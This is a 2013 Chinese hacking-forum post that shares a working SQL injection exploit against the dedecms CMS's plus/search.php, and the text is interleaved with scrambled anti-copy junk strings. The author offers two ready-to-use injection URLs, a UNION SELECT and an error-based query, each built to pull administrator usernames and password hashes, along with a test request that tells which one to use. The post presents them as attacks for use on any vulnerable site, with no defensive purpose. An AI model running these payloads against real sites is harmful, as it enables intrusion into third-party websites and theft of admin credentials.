中国网络渗透测试联盟

标题: [通杀]dedecms plus/search.php 注入漏洞利用EXP [打印本页]
作者: admin    时间: 2013-1-21 08:45
标题: [通杀]dedecms plus/search.php 注入漏洞利用EXP
转载不加作者名的没JJ
* C, z* |: W/ j. B
, C" {2 K4 w. }9 p3 s哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站  放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。" k0 {0 w; F/ ?: q! E  a1 ~
: o% m; n2 \# `4 c' v" C
既然已经发出来了，我就把我自己搞的exp发下吧。。唉。
$ a: o8 _  V( O' j' y% }2 J  N  s- _: Z3 V
我一般是这样测试的：- k& `- ?, d' {! d

1 w3 K/ T: l: r" n# S: n0 m- I- k提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a; y+ A/ W2 f6 ]& v- D8 I

. [5 e, g" s+ s1 F转载不加作者名的没JJ. f) ~" t+ z( _3 @2 M  L7 C0 Y5 h& L
$ |# F3 R# _' W5 v: @: S" R' S/ B
作者：鬼哥
' L2 ?$ n$ b( F) ^0 o7 s) L
' Q! }: _2 }1 G $ @4 b+ l- L" C: L. ^5 H( B* s
7 x. ~2 H( Q1 e1 q  `  o
看结果如果提示, @3 f  E0 O3 D5 n. K8 f' h3 B  o

# l/ I+ t& K3 F% DSafe Alert: Request Error step 2 !
' X" j9 f; K/ i
% v1 m, Z* ]" Q9 G  T那么直接用下面的exp. h9 D7 w7 e0 h2 o# U
4 ^( n4 `4 [- |# `; r; n- _
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
* f0 `  N) D2 \2 h
: V( b5 q& g' g6 }4 Y3 ^( b# O& i7 o8 j" N6 `) B1 P
看结果如果提示
9 b9 F+ |. L, f. h% ^- w+ M
/ y; s# G" y7 R4 E1 o" hSafe Alert: Request Error step 1 !
" r7 x1 t7 Z5 s  s2 ?6 y# }
( D# D: I. m3 P" p6 s! P. L那么直接用下面的exp$ Z) Q+ A: _  n' T5 g, L( \( N

& E  K0 A' |& X. J3 Qxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
. ]+ g8 z$ J  J7 b8 k- I
. D4 h: X, D8 T9 a% p2 P) ]$ j
6 n! Z  b/ t$ G* ~2 {7 ~如果正常显示证明漏洞不存在了。
7 C$ F. w6 v5 Z4 }: b* N! t
% v5 a5 F* g+ }8 q  I0 [" a/ M转载不加作者名的没JJ



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2